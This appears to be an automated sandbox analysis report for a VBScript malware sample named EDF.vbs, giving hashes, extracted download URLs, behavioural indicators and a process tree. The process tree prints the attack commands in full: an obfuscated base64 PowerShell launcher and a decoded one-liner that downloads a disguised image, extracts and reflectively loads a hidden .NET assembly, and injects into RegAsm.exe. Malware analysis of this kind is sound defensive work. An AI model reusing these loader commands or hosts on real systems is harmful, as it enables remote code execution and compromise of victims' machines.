Analysis
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max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
21/09/2023, 13:20
Static task
static1
Behavioral task
behavioral1
Sample
EDF.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
EDF.vbs
Resource
win10v2004-20230915-en
General
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Target
EDF.vbs
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Size
310KB
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MD5
cbf05819243b31316e14ee97ea658361
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SHA1
c622321a755761d7c9e9788af0adce9eaa3d18e3
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SHA256
068536ef2ccdc4c09fe3da66f911453be231263e8180c817899dbc2872547d16
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SHA512
66ac258f43efc76d7db466cc1377b680b88b68648e41a7abf0386a5282ee210c9ec7be6ac4dd29269627d2f13ae1710b6cde24285042fd233045f896360bb6df
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SSDEEP
3072:97r/OGPcq3rX5Jcog033nHam2BWntVSbPXM4nnbaB1Hlb9WSWMyprZkXnlOhljes:9/OGPcq3rX5bu
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/614/895/original/rump_vbs.jpg?1695246171
https://uploaddeimagens.com.br/images/004/614/895/original/rump_vbs.jpg?1695246171
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 18 5000 powershell.exe 65 5000 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5000 set thread context of 4540 5000 powershell.exe 92 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2444 powershell.exe 2444 powershell.exe 5000 powershell.exe 5000 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 5000 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4848 wrote to memory of 2444 4848 WScript.exe 84 PID 4848 wrote to memory of 2444 4848 WScript.exe 84 PID 2444 wrote to memory of 5000 2444 powershell.exe 86 PID 2444 wrote to memory of 5000 2444 powershell.exe 86 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92 PID 5000 wrote to memory of 4540 5000 powershell.exe 92
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EDF.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶N◀▶◀▶v◀▶Dg◀▶OQ◀▶1◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DI◀▶N◀▶◀▶2◀▶DE◀▶Nw◀▶x◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶Lg◀▶4◀▶DY◀▶Mw◀▶0◀▶Hk◀▶ZQ◀▶v◀▶Gw◀▶d◀▶◀▶v◀▶Dc◀▶Ng◀▶x◀▶C4◀▶MQ◀▶2◀▶DE◀▶Lg◀▶2◀▶DU◀▶MQ◀▶u◀▶DQ◀▶OQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBi◀▶G8◀▶cwB0◀▶GE◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/614/895/original/rump_vbs.jpg?1695246171';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.8634ye/lt/761.161.651.49//:ptth' , 'bosta'))"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:4540
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD51a11402783a8686e08f8fa987dd07bca
SHA1580df3865059f4e2d8be10644590317336d146ce
SHA2569b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
SHA5125f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82